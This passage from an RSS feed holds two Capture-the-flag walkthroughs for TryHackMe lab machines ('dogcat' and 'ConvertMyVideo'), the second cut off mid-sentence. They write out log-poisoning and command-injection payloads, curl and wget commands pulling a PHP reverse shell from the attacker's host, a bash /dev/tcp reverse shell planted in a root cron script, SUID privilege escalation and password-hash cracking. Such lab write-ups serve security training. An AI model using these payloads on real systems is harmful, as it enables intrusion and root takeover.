src="https://cdn-images-1.medium.com/max/1024/1*ATquiPu17-eiIDGGhOIMXA.png" /></figure><h3>Exploitation</h3><p>Can inject this PHP code to access.log file using curl command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sa5yEaE3LG2qg9W0hlKB8g.png" /></figure><p>Now let’s send request contain ?cmd1=command and what command want execute</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yaOujHupogSOq4WuE6dm0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5BwPAiovQCvk0kTx9AtDAg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bj4TGuEf3UpOdMIn3oi25w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qyl5c6GslaV408uIg9-dQg.png" /></figure><p>There’s file called flag.php</p><pre>echo &quot;PD9waHAKJGZsYWdfMSA9ICJUSE17VGgxc18xc19OMHRfNF9DYXRkb2dfYWI2N2VkZmF9Igo/Pgo=&quot; |base64 -d<br>&lt;?php<br>$flag_1 = &quot;THM{Th1s_1s_N0t_4_Catdog_ab67edfa}&quot;<br>?&gt;</pre><p>When try download PHP Reverse Shell using this cmd parameter wget command don’t work after using which command found wget command not installed so Let’s download reverse shell with curl command and get connection back</p><pre>http://10.10.204.61/?view=dog/../../../../../../../../var/log/apache2/access.log&amp;ext=&amp;cmd1=curl%20http://10.9.4.50:80/shell.php%20-o%20/tmp/shell.php</pre><pre>root@Zain:/home/CTF/dogcat# py -m http.server 80<br>Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...<br>10.10.204.61 - - [08/Jul/2024 05:52:21] &quot;GET /shell.php HTTP/1.1&quot; 200 -</pre><p>Running shell script on website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*n0RyCOZACDrlwj4zDhp7XA.png" /></figure><pre>root@Zain:/home/CTF/dogcat# nc -lvnp 8888<br>Listening on 0.0.0.0 8888<br>Connection received on 10.10.204.61 43278<br>Linux ec6c3c495834 4.15.0-96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 GNU/Linux<br> 03:06:30 up  3:32,  0 users,  load average: 0.00, 0.00, 0.00<br>USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>/bin/sh: 0: can&#39;t access tty; job control turned off<br>$ exec /bin/bash -i<br>bash: cannot set terminal process group (1): Inappropriate ioctl for device<br>bash: no job control in this shell<br>www-data@ec6c3c495834:/$ <br>www-data@ec6c3c495834:/$ ls -la /<br>ls -la /<br>total 80<br>drwxr-xr-x   1 root root 4096 Jul  7 23:36 .<br>drwxr-xr-x   1 root root 4096 Jul  7 23:36 ..<br>-rwxr-xr-x   1 root root    0 Jul  7 23:36 .dockerenv<br>drwxr-xr-x   1 root root 4096 Feb 26  2020 bin<br>drwxr-xr-x   2 root root 4096 Feb  1  2020 boot<br>drwxr-xr-x   5 root root  340 Jul  7 23:37 dev<br>drwxr-xr-x   1 root root 4096 Jul  7 23:36 etc<br>drwxr-xr-x   2 root root 4096 Feb  1  2020 home<br>drwxr-xr-x   1 root root 4096 Feb 26  2020 lib<br>drwxr-xr-x   2 root root 4096 Feb 24  2020 lib64<br>drwxr-xr-x   2 root root 4096 Feb 24  2020 media<br>drwxr-xr-x   2 root root 4096 Feb 24  2020 mnt<br>drwxr-xr-x   1 root root 4096 Jul  7 23:37 opt<br>dr-xr-xr-x 114 root root    0 Jul  7 23:37 proc<br>drwx------   1 root root 4096 Mar 10  2020 root<br>drwxr-xr-x   1 root root 4096 Feb 26  2020 run<br>drwxr-xr-x   1 root root 4096 Feb 26  2020 sbin<br>drwxr-xr-x   2 root root 4096 Feb 24  2020 srv<br>dr-xr-xr-x  13 root root    0 Jul  8 02:45 sys<br>drwxrwxrwt   1 root root 4096 Jul  8 02:52 tmp<br>drwxr-xr-x   1 root root 4096 Feb 24  2020 usr<br>drwxr-xr-x   1 root root 4096 Feb 26  2020 var<br>www-data@ec6c3c495834:/$ hostname<br>ec6c3c495834</pre><p>We got access, but there’s file called .dockerenv and the hostname “ec6c3c495834” it’s look like container !!!!!</p><h3>Privilege Escalation</h3><p>Let’s search on SUID permissions and capabilities</p><pre>www-data@ec6c3c495834:/$ find / -perm -4000 2&gt;/dev/null<br>find / -perm -4000 2&gt;/dev/null<br>/bin/mount<br>/bin/su<br>/bin/umount<br>/usr/bin/chfn<br>/usr/bin/newgrp<br>/usr/bin/passwd<br>/usr/bin/chsh<br>/usr/bin/env<br>/usr/bin/gpasswd<br>/usr/bin/sudo<br>www-data@ec6c3c495834:/$ getcap -r / 2&gt;/dev/null<br>getcap -r / 2&gt;/dev/null<br>www-data@ec6c3c495834:/$</pre><p>We can see /usr/bin/envSUID permissions Interesting !!!</p><p>Let’s see <a href="https://gtfobins.github.io/gtfobins/env/#suid">GTFOBins</a> for env SUID, We can get root access easily</p><pre>./env /bin/sh -p</pre><pre>www-data@ec6c3c495834:/$ /usr/bin/env /bin/sh -p<br>/usr/bin/env /bin/sh -p<br>id<br>uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)<br>find / -name flag*.* 2&gt;/dev/null<br>/var/www/html/flag.php<br>/var/www/flag2_QMW7JvaY2LvK.txt<br>/root/flag3.txt</pre><p>We got root access in this container , still need access with root user on wide system.</p><pre>cd /opt<br>ls -la<br>total 12<br>drwxr-xr-x 1 root root 4096 Jul  7 23:37 .<br>drwxr-xr-x 1 root root 4096 Jul  7 23:36 ..<br>drwxr-xr-x 2 root root 4096 Apr  8  2020 backups<br>cd b*<br>ls -la<br>total 2892<br>drwxr-xr-x 2 root root    4096 Apr  8  2020 .<br>drwxr-xr-x 1 root root    4096 Jul  7 23:37 ..<br>-rwxr--r-- 1 root root      69 Mar 10  2020 backup.sh<br>-rw-r--r-- 1 root root 2949120 Jul  8 03:31 backup.tar<br>cat b*.sh<br>#!/bin/bash<br>tar cf /root/container/backup/backup.tar /root/container</pre><p>Let’s modify backup.sh to get reverse shell connection</p><pre>echo &quot;#!/bin/bash&quot; &gt; backup.sh<br>echo &quot;bash -i &gt;&amp; /dev/tcp/10.9.4.50/8880 0&gt;&amp;1&quot; &gt;&gt; backup.sh<br>cat ba*.sh<br>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/10.9.4.50/8880 0&gt;&amp;1</pre><pre>root@Zain:/home/CTF/dogcat$ nc -nlvp 8880<br>Listening on 0.0.0.0 8880</pre><pre>Connection received on 10.10.204.61 43536<br>bash: cannot set terminal process group (14213): Inappropriate ioctl for device<br>bash: no job control in this shell<br>root@dogcat:~# <br>root@dogcat:~# ls<br>ls<br>container<br>flag4.txt<br>root@dogcat:~#</pre><p>Thank you for following :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c7e106f6af78" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe - ConvertMyVideo CTF]]></title>
            <link>https://medium.com/@3zain21/tryhackme-convertmyvideo-ctf-d52ec7612478?source=rss-2a6c3260dcfb------2</link>
            <guid isPermaLink="false">https://medium.com/p/d52ec7612478</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Zain]]></dc:creator>
            <pubDate>Sat, 06 Jul 2024 23:51:07 GMT</pubDate>
            <atom:updated>2024-07-06T23:51:07.824Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*5VVbOLSIXsrHJwvw.png" /></figure><p><a href="https://tryhackme.com/r/room/convertmyvideo">ConvertMyVideo</a></p><p>We are tasked with finding two flags that are hidden across the target system.</p><p>Connect to the TryHackMe networking using your .ovpn file.</p><pre>sudo openvpn your_tryhackme_vpn.ovpn</pre><h3>Reconnaissance</h3><p>Let’s discover the services that are running on the target I performed a port scan.</p><pre>nmap -sS -p- -n -Pn --min-rate=9362 $IP<br>nmap -A -p $Port $IP</pre><p>-sS: This option specifies a SYN scan</p><p>-p-: This option tells nmap to scan all 65,535 ports.</p><p>-n: This option is speeds up the scan by avoiding DNS resolution.</p><p>-Pn: This option disables host discovery, treating all hosts as online. This is useful for scanning hosts that may be blocking ICMP ping requests.</p><p>--min-rate=9362: This option sets the minimum number of packets per second to be sent during the scan. This speeds up the scan but may increase the likelihood of being detected by security systems.</p><p>-A: This option enables OS detection, version detection, script scanning, and traceroute.</p><pre>root@Zain:/home/CTF/ConvertMyVideo# ./../port_scan.sh 10.10.31.144<br>Running command: nmap -sS -p- -n -Pn --min-rate=9362 10.10.31.144<br>Running command: nmap -A -p 22,80 10.10.31.144<br>Starting Nmap 7.80 ( https://nmap.org ) at 2024-07-06 23:28 EEST<br>Nmap scan report for 10.10.31.144<br>Host is up (0.11s latency).<br><br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 65:1b:fc:74:10:39:df:dd:d0:2d:f0:53:1c:eb:6d:ec (RSA)<br>|   256 c4:28:04:a5:c3:b9:6a:95:5a:4d:7a:6e:46:e2:14:db (ECDSA)<br>|_  256 ba:07:bb:cd:42:4a:f2:93:d1:05:d0:b3:4c:b1:d9:b1 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>|_http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8).<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)<br>No exact OS matches for host (test conditions non-ideal).<br>Network Distance: 2 hops<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>TRACEROUTE (using port 80/tcp)<br>HOP RTT       ADDRESS<br>1   96.47 ms  10.9.0.1<br>2   136.64 ms 10.10.31.144<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 18.74 seconds</pre><p>Ports 22, 80 are open on the target, and more details.</p><h3>Enumeration</h3><p>Let’s check web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*00go0CKEy_sPjZiRglR4eA.png" /></figure><p>It’s look like we Converter Videos !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*zEDFzVOzyYSY0G2mz8lY1w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*ltXPi950cd-eCsNqKkfvVQ.png" /></figure><ul><li>When the user clicks the element with the ID convert, the script updates the message element to &quot;Converting...&quot;.</li><li>It sends a POST request to the server with the YouTube URL constructed from the input field ytid.</li><li>The server response is parsed and, based on the status, either provides a download link for the MP3 file or shows an error message if something went wrong.</li></ul><p>Let’s using gobuster for hidden Pages and directories.</p><pre>root@Zain:/home/CTF/ConvertMyVideo# gobuster dir -u http://10.10.31.144/ -w ../wordlists/dirb/common.txt -t 50 |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.10.31.144/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/admin                (Status: 401) [Size: 459]<br>/.htaccess            (Status: 403) [Size: 277]<br>/.hta                 (Status: 403) [Size: 277]<br>/.htpasswd            (Status: 403) [Size: 277]<br>/images               (Status: 301) [Size: 313] [--&gt; http://10.10.31.144/images/]<br>/index.php            (Status: 200) [Size: 747]<br>/js                   (Status: 301) [Size: 309] [--&gt; http://10.10.31.144/js/]<br>/server-status        (Status: 403) [Size: 277]<br>/tmp                  (Status: 301) [Size: 310] [--&gt; http://10.10.31.144/tmp/]<br>Progress: 4614 / 4615 (99.98%)<br>===============================================================<br>Finished<br>===============================================================</pre><p>When try access to /admin it’s need credentials, and /tmp /images /js is is redirecting to another location and it’s Forbidden access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*F_gj4foxzVqgMj1E0-OKvw.png" /></figure><pre>root@Zain:/home/CTF/ConvertMyVideo# curl -o /dev/null -s -w &quot;%{http_code}\n&quot;  http://10.10.31.144/images<br>301<br>root@Zain:/home/CTF/ConvertMyVideo# curl -s  http://10.10.31.144/images | html2text <br>****** Moved Permanently ******<br>The document has moved here.<br>===============================================================================<br>     Apache/2.4.29 (Ubuntu) Server at 10.10.31.144 Port 80<br><br>root@Zain:/home/CTF/ConvertMyVideo# curl -o /dev/null -s -w &quot;%{http_code}\n&quot; -L  http://10.10.31.144/images<br>403</pre><p>Trying to convert video, But it’s don’t response download link when insert real link</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*dgdeGX8btpuc4YPcTOVeCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J-1qKV_nKwacPGQqGOVOBw.png" /></figure><p>When insert false link we saw directory /tmp/downloads/name.mp3 but can’t access it to :(</p><p>Let’s try may be can inject commands in yt_url and follow response data using BurpSuite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gFXnpU2UiiicxbenPmhbtQ.png" /></figure><p>We can inject command and get output</p><h3>Exploitation</h3><p>Let’s inject bash reverse shell and get connection back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uBQd7TG_I0XcvmX7tBy_Bw.png" /></figure><p>There’s syntax error, Let’s try upload <a href="https://github.com/pentestmonkey/php-reverse-shell">PHP Reverse Shell</a> file to this server and execute it.</p><p>Let’s use my python http server machine to download shell file.</p><pre>root@Zain:/home/CTF/ConvertMyVideo# py -m http.server 80<br>Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...<br>10.10.31.144 - - [07/Jul/2024 01:20:33] &quot;GET /php-reverse-shell.php HTTP/1.1&quot; 200 -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_VesQgvFBau03dScgQSPOQ.png" /></figure><p>${IFS} stands for &quot;Internal Field Separator&quot; in Bash</p><p>Now we download php reverse shell file in the server <br>Let’s execute it and wait for connection back.</p><pre>root@Zain:/home/CTF/ConvertMyVideo# nc -lvnp 8888<br>Listening on 0.0.0.0 8888<br>Connection received on 10.10.31.144 53950<br>Linux dmv 4.15.0-96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux<br> 22:22:49 up  1:57,  0 users,  load average: 0.00, 0.00, 0.00<br>USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>/bin/sh: 0: cannot access tty; job control turned off<br>$ python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;);&#39;<br>www-data@dmv:/$ </pre><p>Here we got access with www-data user</p><p>Let’s try find user flag.</p><pre>www-data@dmv:/var/www/html$ ls -lR<br>ls -lR<br>.:<br>total 32<br>drwxr-xr-x 2 www-data www-data 4096 Apr 12  2020 admin<br>drwxrwxr-x 2 www-data www-data 4096 Apr 12  2020 images<br>-rw-r--r-- 1 www-data www-data 1790 Apr 12  2020 index.php<br>drwxrwxr-x 2 www-data www-data 4096 Apr 12  2020 js<br>-rw-r--r-- 1 www-data www-data 5491 Jul  6 22:15 php-reverse-shell.php<br>-rw-rw-r-- 1 www-data www-data  205 Apr 12  2020 style.css<br>drwxr-xr-x 2 www-data www-data 4096 Apr 12  2020 tmp<br><br>./admin:<br>total 8<br>-rw-r--r-- 1 www-data www-data  39 Apr 12  2020 flag.txt<br>-rw-rw-r-- 1 www-data www-data 202 Apr 12  2020 index.php<br><br>./images:<br>total 44<br>-rw-rw-r-- 1 www-data www-data 16445 Apr 12  2020 mp3-file.png<br>-rw-rw-r-- 1 www-data www-data 20661 Apr 12  2020 youtube.png<br><br>./js:<br>total 92<br>-rw-rw-r-- 1 www-data www-data 89493 Apr 12  2020 jquery-3.5.0.min.js<br>-rw-rw-r-- 1 www-data www-data   755 Apr 12  2020 main.js<br><br>./tmp:<br>total 4<br>-rw-r--r-- 1 www-data www-data 17 Apr 12  2020 clean.sh<br>www-data@dmv:/var/www/html$ </pre><p>We can read user flag.</p><h3>Privilege Escalation</h3><pre>www-data@dmv:/var/www/html/admin$ ls -la<br>ls -la<br>total 24<br>drwxr-xr-x 2 www-data www-data 4096 Apr 12  2020 .<br>drwxr-xr-x 6 www-data www-data 4096 Jul  6 22:20 ..<br>-rw-r--r-- 1 www-data www-data   98 Apr 12  2020 .htaccess<br>-rw-r--r-- 1 www-data www-data   49 Apr 12  2020 .htpasswd<br>-rw-r--r-- 1 www-data www-data   39 Apr 12  2020 flag.txt<br>-rw-rw-r-- 1 www-data www-data  202 Apr 12  2020 index.php<br>www-data@dmv:/var/www/html/admin$ cat .htpasswd<br>cat .htpasswd<br>itsmeadmin:$apr1$tbcm2uwv$UP1ylvgp4.zLKxWj8mc6y/</pre><p>There’s hidden password, Let’s crack it with john tool</p><pre>root@Zain:/home/CTF/ConvertMyVideo# cat htpasswd<br>itsmeadmin:$apr1$tbcm2uwv$UP1ylvgp4.zLKxWj8mc6y/<br><br>root@Zain:/home/CTF/ConvertMyVideo# ./../tools/john/run/john htpasswd <br>Warning: detected hash type &quot;md5crypt&quot;, but the string is also recognized as &quot;md5crypt-long&quot;<br>Use the &quot;--format=md5crypt-long&quot; option to force loading these as that type instead<br>Warning: detected hash type &quot;md5crypt&quot;, but the string is also recognized as &quot;md5crypt-opencl&quot;<br>Use the &quot;--format=md5crypt-opencl&quot; option to force loading these as that type instead<br>Using default input encoding: UTF-8<br>Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])<br>Will run 4 OpenMP threads<br>Proceeding with single, rules:Single<br>Press &#39;q&#39; or Ctrl-C to abort, &#39;h&#39; for help, almost any other key for status<br>Almost done: Processing the remaining buffered candidate passwords, if any.<br>0g 0:00:00:00 DONE 1/3 (2024-07-07 01:37) 0g/s 14842p/s 14842c/s 14842C/s Itsmeadmin1954..Itsmeadmin1900<br>Proceeding with wordlist:./../tools/john/run/password.lst<br>Enabling duplicate candidate password suppressor<br>jessie           (itsmeadmin)     <br>1g 0:00:00:00 DONE 2/3 (2024-07-07 01:37) 3.571g/s 7824p/s 7824c/s 7824C/s bigdog..88888888<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed. </pre><p>Let’s access with admin web user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*opnBKdVT-ATrNxUZwJY1Dw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*ndIN821fhDVSmKYgTM6HMw.png" /></figure><p>Nothing here can i privilege escalation to root user.</p><p>Let’s search on SUID permissions and capabilities and service</p><pre>www-data@dmv:/var/www/html/admin$ find / -perm -4000 2&gt;/dev/null |grep -v &#39;snap&#39;<br>&lt;min$ find / -perm -4000 2&gt;/dev/null |grep -v &#39;snap&#39;<br>/usr/bin/at<br>/usr/bin/sudo<br>/usr/bin/chsh<br>/usr/bin/pkexec<br>/usr/bin/traceroute6.iputils<br>/usr/bin/passwd<br>/usr/bin/gpasswd<br>/usr/bin/chfn<br>/usr/bin/newuidmap<br>/usr/bin/newgidmap<br>/usr/bin/newgrp<br>/usr/lib/policykit-1/polkit-agent-helper-1<br>/usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>/usr/lib/eject/dmcrypt-get-device<br>/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic<br>/usr/lib/openssh/ssh-keysign<br>/bin/ping<br>/bin/mount<br>/bin/fusermount<br>/bin/su<br>/bin/umount<br>www-data@dmv:/var/www/html/admin$ getcap -r / 2&gt;/dev/null<br>getcap -r / 2&gt;/dev/null<br>/usr/bin/mtr-packet = cap_net_raw+ep<br>www-data@dmv:/var/www/html/admin$ ps aux | grep &quot;^root&quot; | grep -v &quot;snap&quot;<br>ps aux | grep &quot;^root&quot; | grep -v &quot;snap&quot;<br>root         1  0.1  1.8 225264  8968 ?        Ss   20:24   0:13 /sbin/init maybe-ubiquity<br>root         2  0.0  0.0      0     0 ?        S    20:24   0:00 [kthreadd]<br>root         4  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [kworker/0:0H]<br>root         6  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [mm_percpu_wq]<br>root         7  0.0  0.0      0     0 ?        S    20:24   0:00 [ksoftirqd/0]<br>root         8  0.0  0.0      0     0 ?        I    20:24   0:00 [rcu_sched]<br>root         9  0.0  0.0      0     0 ?        I    20:24   0:00 [rcu_bh]<br>root        10  0.0  0.0      0     0 ?        S    20:24   0:00 [migration/0]<br>root        11  0.0  0.0      0     0 ?        S    20:24   0:00 [watchdog/0]<br>root        12  0.0  0.0      0     0 ?        S    20:24   0:00 [cpuhp/0]<br>root        13  0.0  0.0      0     0 ?        S    20:24   0:00 [kdevtmpfs]<br>root        14  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [netns]<br>root        15  0.0  0.0      0     0 ?        S    20:24   0:00 [rcu_tasks_kthre]<br>root        16  0.0  0.0      0     0 ?        S    20:24   0:00 [kauditd]<br>root        17  0.0  0.0      0     0 ?        S    20:24   0:00 [xenbus]<br>root        18  0.0  0.0      0     0 ?        S    20:24   0:00 [xenwatch]<br>root        19  0.0  0.0      0     0 ?        I    20:24   0:00 [kworker/0:1]<br>root        20  0.0  0.0      0     0 ?        S    20:24   0:00 [khungtaskd]<br>root        21  0.0  0.0      0     0 ?        S    20:24   0:00 [oom_reaper]<br>root        22  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [writeback]<br>root        23  0.0  0.0      0     0 ?        S    20:24   0:00 [kcompactd0]<br>root        24  0.0  0.0      0     0 ?        SN   20:24   0:00 [ksmd]<br>root        25  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [crypto]<br>root        26  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [kintegrityd]<br>root        27  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [kblockd]<br>root        28  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [ata_sff]<br>root        29  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [md]<br>root        30  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [edac-poller]<br>root        31  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [devfreq_wq]<br>root        32  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [watchdogd]<br>root        35  0.0  0.0      0     0 ?        S    20:24   0:00 [kswapd0]<br>root        36  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [kworker/u31:0]<br>root        37  0.0  0.0      0     0 ?        S    20:24   0:00 [ecryptfs-kthrea]<br>root        79  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [kthrotld]<br>root        80  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [acpi_thermal_pm]<br>root        81  0.0  0.0      0     0 ?        S    20:24   0:00 [scsi_eh_0]<br>root        82  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [scsi_tmf_0]<br>root        83  0.0  0.0      0     0 ?        S    20:24   0:00 [scsi_eh_1]<br>root        84  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [scsi_tmf_1]<br>root        90  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [ipv6_addrconf]<br>root        99  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [kstrp]<br>root       116  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [charger_manager]<br>root       185  0.0  0.0      0     0 ?        I&lt;   20:24   0:00 [ttm_swap]<br>root       251  0.0  0.0      0     0 ?        I&lt;   20:25   0:00 [kworker/0:1H]<br>root       276  0.0  0.0      0     0 ?        I&lt;   20:25   0:00 [raid5wq]<br>root       329  0.0  0.0      0     0 ?        S    20:25   0:00 [jbd2/xvda2-8]<br>root       330  0.0  0.0      0     0 ?        I&lt;   20:25   0:00 [ext4-rsv-conver]<br>root       404  0.0  0.0      0     0 ?        I&lt;   20:25   0:00 [iscsi_eh]<br>root       410  0.0  2.1  95052 10636 ?        S&lt;s  20:25   0:02 /lib/systemd/systemd-journald<br>root       415  0.0  0.0      0     0 ?        I&lt;   20:25   0:00 [ib-comp-wq]<br>root       417  0.0  0.0      0     0 ?        I&lt;   20:25   0:00 [ib-comp-unb-wq]<br>root       418  0.0  0.0      0     0 ?        I&lt;   20:25   0:00 [ib_mcast]<br>root       419  0.0  0.0      0     0 ?        I&lt;   20:25   0:00 [ib_nl_sa_wq]<br>root       421  0.0  0.0      0     0 ?        I&lt;   20:25   0:00 [rdma_cm]<br>root       422  0.0  0.3  97708  1760 ?        Ss   20:25   0:00 /sbin/lvmetad -f<br>root       424  0.0  0.8  45892  4300 ?        Ss   20:25   0:06 /lib/systemd/systemd-udevd<br>root       445  0.0  0.0      0     0 ?        S&lt;   20:25   0:00 [loop0]<br>root       795  0.0  2.7 169188 13284 ?        Ssl  20:26   0:01 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers<br>root       822  0.0  0.5 637052  2488 ?        Ssl  20:26   0:00 /usr/bin/lxcfs /var/lib/lxcfs/<br>root       828  0.0  0.5  30104  2624 ?        Ss   20:26   0:00 /usr/sbin/cron -f<br>root       833  0.0  1.2 286356  6152 ?        Ssl  20:26   0:00 /usr/lib/accountsservice/accounts-daemon<br>root       834  0.0  1.1  62124  5768 ?        Ss   20:26   0:00 /lib/systemd/systemd-logind<br>root       845  0.0  0.3  14768  1652 ttyS0    Ss+  20:26   0:00 /sbin/agetty -o -p -- \u --keep-baud 115200,38400,9600 ttyS0 vt220<br>root       852  0.0  0.3  13244  1512 tty1     Ss+  20:26   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux<br>root       866  0.0  1.2  72300  6084 ?        Ss   20:26   0:00 /usr/sbin/sshd -D<br>root       867  0.0  1.3 291472  6672 ?        Ssl  20:26   0:00 /usr/lib/policykit-1/polkitd --no-debug<br>root       875  0.0  3.0 186032 14980 ?        Ssl  20:26   0:01 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal<br>root       901  0.0  2.3 327124 11512 ?        Ss   20:26   0:00 /usr/sbin/apache2 -k start<br>root      1989  0.0  0.0      0     0 ?        I    21:18   0:00 [kworker/0:2]<br>root      2844  0.0  0.0      0     0 ?        I    22:39   0:00 [kworker/u30:2]<br>root      2934  0.0  0.0      0     0 ?        I    22:55   0:00 [kworker/u30:1]<br>root      3023  0.0  0.0      0     0 ?        I    23:07   0:00 [kworker/u30:0]<br>www-data@dmv:/var/www/html/admin$ <br><br></pre><p>There’s service run called /usr/sbin/cron -f</p><pre>www-data@dmv:/var/www/html/admin$ cat /etc/crontab<br>cat /etc/crontab<br># /etc/crontab: system-wide crontab<br># Unlike any other crontab you don&#39;t have to run the `crontab&#39;<br># command to install the new version when you edit this file<br># and files in /etc/cron.d. These files also have username fields,<br># that none of the other crontabs do.<br><br>SHELL=/bin/sh<br>PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin<br><br># m h dom mon dow user command<br>17 * * * * root    cd / &amp;&amp; run-parts --report /etc/cron.hourly<br>25 6 * * * root test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.daily )<br>47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.weekly )<br>52 6 1 * * root test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.monthly )<br>#<br>www-data@dmv:/var/www/html/admin$ </pre><p>crontab don’t have anything interest, Let’s try download pspy</p><p>pspy is a powerful command-line tool designed for monitoring and displaying processes on linux.</p><pre>root@Zain:/home/CTF# py -m http.server 80<br>Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...<br>10.10.31.144 - - [07/Jul/2024 02:29:02] &quot;GET /pspy64 HTTP/1.1&quot; 200 -</pre><pre>www-data@dmv:/var/www/html/admin$ wget http://10.9.4.50:80/pspy64<br>wget http://10.9.4.50:80/pspy64<br>--2024-07-06 23:29:02--  http://10.9.4.50/pspy64<br>Connecting to 10.9.4.50:80... connected.<br>HTTP request sent, awaiting response... 200 OK<br>Length: 4468984 (4.3M) [application/octet-stream]<br>Saving to: &#39;pspy64&#39;<br><br>pspy64              100%[===================&gt;]   4.26M   299KB/s    in 15s     <br><br>2024-07-06 23:29:17 (295 KB/s) - &#39;pspy64&#39; saved [4468984/4468984]<br><br>www-data@dmv:/var/www/html/admin$ chmod +x pspy64<br>chmod +x pspy64<br>www-data@dmv:/var/www/html/admin$./pspy64</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BEsTh4VolgAcAVyYLpExhA.png" /></figure><p>Found root is running 